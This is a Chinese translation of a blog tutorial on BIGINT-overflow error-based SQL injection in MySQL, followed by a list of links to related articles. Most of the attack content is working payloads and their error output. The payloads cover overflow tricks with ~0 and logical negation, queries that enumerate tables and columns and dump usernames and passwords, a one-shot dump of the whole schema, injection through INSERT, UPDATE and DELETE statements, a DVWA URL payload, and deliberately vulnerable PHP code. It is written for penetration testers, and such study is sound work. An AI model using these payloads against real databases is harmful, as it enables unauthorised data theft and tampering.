基於BIGINT溢位錯誤的SQL隱碼攻擊
譯者:mssp299
原文地址:https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/
0x01 概述
我對於透過MySQL錯誤提取資料的新技術非常感興趣,而本文中要介紹的就是這樣一種技術。當我考察MySQL的整數處理方式的時候,突然對如何使其發生溢位產生了濃厚的興趣。下面,我們來看看MySQL是如何儲存整數的。
(來源:http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)
只有5.5.5及其以上版本的MySQL才會產生溢位錯誤訊息,之下的版本對於整數溢位不會傳送任何訊息。
資料型別BIGINT的長度為8位元組,也就是說,長度為64位元。這種資料型別最大的有符號值,用二進位制、十六進位制和十進位制的表示形式分別為“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 當對這個值進行某些數值運算的時候,比如加法運算,就會引起“BIGINT value is out of range”錯誤。
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
為了避免出現上面這樣的錯誤,我們只需將其轉換為無符號整數即可。
對於無符號整數來說,BIGINT可以存放的最大值用二進位制、十六進位制和十進位制表示的話,分別為“0b1111111111111111111111111111111111111111111111111111111111111111
”、“0xFFFFFFFFFFFFFFFF
”和“18446744073709551615
”。
同樣的,如果對這個值進行數值表示式運算,如加法或減法運算,同樣也會導致“BIGINT value is out of range”錯誤。
# In decimal
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
# In binary
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# In hex
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
如果我們對數值0逐位取反,結果會怎麼樣呢? 當然是得到一個無符號的最大BIGINT值,這一點是顯而易見的。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
所以,如果我們對~0進行加減運算的話,也會導致BIGINT溢位錯誤。
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'
0x002 注入技術
我的想法是,利用子查詢引起BITINT溢位,從而設法提取資料。我們知道,如果一個查詢成功返回,其返回值為0,所以對其進行邏輯非的話就會變成1,舉例來說,如果我們對類似(select*from(select user())x
)這樣的查詢進行邏輯非的話,就會有:
mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| [email protected] |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
是的,太完美了! 所以說,只要我們能夠組合好逐位取反和邏輯取反運算,我們就能利用溢位錯誤來成功的注入查詢。
mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select [email protected]' from dual))))'
我們先不使用加法,因為“+”透過網頁瀏覽器進行解析的時候,會被轉換為空白符(不過,你可以使用%2b來表示“+”)。 相反,我們可以使用減法。所以說,同一種注入攻擊,可以有完全不同的變種。 最終的查詢語句如下所示。
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
舉例來說,我們可以像下面一樣,在一個查詢語句中進行注入操作。
mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select [email protected]' from dual))) - ~(0))'
<http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -|&Submit=Submit#>
利用這種基於BIGINT溢位錯誤的注入手法,我們可以幾乎可以使用MySQL中所有的數學函式,因為它們也可以進行取反,具體用法如下所示:
select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
下面的我們已經測試過了,如果你願意的話,還可以找到更多:)
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
0x003 提取資料
提取資料的方法,跟其他注入攻擊手法中的一樣,這裡只做簡單介紹。
首先,我們來獲取表名:
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
取得列名:
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
檢索資料:
!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
0x004 一次性轉儲
我們能夠一次性轉儲所有資料庫、列和資料表嗎? 答案是肯定的。但是,當我們從所有資料庫中轉儲資料表和列的時候,只能得到較少的結果,畢竟我們是透過錯誤訊息來檢索資料的。 不過,如果我們是從當前資料庫中轉儲資料的話,一次最多可以轉儲27個結果。下面舉例說明。
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
這些限制了我們可以檢索的結果的數量,即最多27個。假設,我們在一個資料庫中建立了一個31列的資料表。 那麼,我們只能看到27個結果,而我的其他4個表和該使用者資料表的其他列都無法返回。
0x05 利用插入語句進行注入
利用插入語句,我們也可以進行類似的注入攻擊,具體語法為‘’ or (payload) or “”
。
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select [email protected]' from dual))) - ~(0))'
我們還可以使用DIOS查詢。
insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'
0x06 利用更新語句進行注入
利用更新語句,我們照樣可以進行類似的注入,具體如下所示:
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select [email protected]' from dual))) - ~(0))'
0x07 利用更新語句進行注入
同樣的,我們也可以利用刪除語句進行注入,具體如下所示:
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select [email protected]' from dual))) - ~(0))'
0x08 小結
本文的攻擊之所以得逞,是因為mysql_error()
會向我們返回錯誤訊息,只要這樣,我們才能夠利用它來進行注入。 這一功能,是在5.5.5及其以上版本提供的。對於這些溢位攻擊,還有許多不同的形式。 例如:
mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select [email protected]' from dual))) - (0 ^ 222))'
此外,後端程式碼中的引用、雙引號或括號問題,也會引起注入攻擊。舉例來說,如果利用DVWA修改PHP程式碼去掉引號, 無需前面類似的或操作就能進行注入了。
#!php
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
$html .= '<pre>';
$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
$html .= '</pre>';
$i++;
}
}
?>
<http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222 &Submit=Submit#>
我希望本文對大家的滲透測試工作能夠有所幫助。
0x09 參考資料
1 http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
2 https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
3 https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html
相關文章
- SQL隱碼攻擊基礎原理2020-12-10SQL
- SQL隱碼攻擊2024-07-02SQL
- SQL隱碼攻擊基礎入門2024-07-08SQL
- SQL隱碼攻擊的例子2017-03-13SQL
- 【SQL Server】--SQL隱碼攻擊2015-01-31SQLServer
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句注入2014-02-16SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-語句修改2014-02-16SQL
- MYSQL SQL隱碼攻擊2021-11-20MySql
- 【SQL隱碼攻擊原理】2018-01-17SQL
- 防止SQL隱碼攻擊2010-04-20SQL
- SQL隱碼攻擊(一)2009-12-14SQL
- SQL隱碼攻擊(pikachu)2024-05-10SQL
- SQL隱碼攻擊方法2024-07-08SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊2014-02-16SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-驗證檢查2014-02-16SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-繫結變數2014-02-16SQL變數
- SQL隱碼攻擊原理是什麼?如何防範SQL隱碼攻擊?2022-11-24SQL
- SQL隱碼攻擊預備知識-sql基礎2021-09-09SQL
- 挖洞入門_顯錯型SQL隱碼攻擊2020-06-21SQL
- SQL隱碼攻擊原理解說,非常不錯!2014-06-19SQL
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-防衛SQL隱碼攻擊-顯式格式化模型2014-02-16SQL模型
- 反恐精英之動態SQL和SQL隱碼攻擊-SQL隱碼攻擊-SQL隱碼攻擊技術-資料型別轉換2014-02-16SQL資料型別
- SQL隱碼攻擊式攻擊掃描器2008-07-15SQL
- 【網路安全】什麼是SQL隱碼攻擊漏洞?SQL隱碼攻擊的特點!2021-09-06SQL
- SQL隱碼攻擊語句2018-07-25SQL
- pikachu-SQL隱碼攻擊2020-11-21SQL
- SQL隱碼攻擊導圖2018-06-15SQL
- SQL隱碼攻擊問題2017-03-30SQL
- ZMLCMS-SQL隱碼攻擊2017-08-20SQL
- SQL隱碼攻擊演練2013-09-16SQL
- 預防SQL隱碼攻擊2010-04-02SQL
- SQL隱碼攻擊總結2024-08-31SQL
- 【轉】strcpy溢位的攻擊示例2017-08-27
- DVWA-SQL Injection(SQL隱碼攻擊)2023-03-18SQL
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]2020-08-19JavaWebSQL
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]2020-08-19JavaWebSQL
- 刪除SQL隱碼攻擊的程式碼2009-08-13SQL
- 一個關於SQL隱碼攻擊的簡單例子2016-09-21SQL單例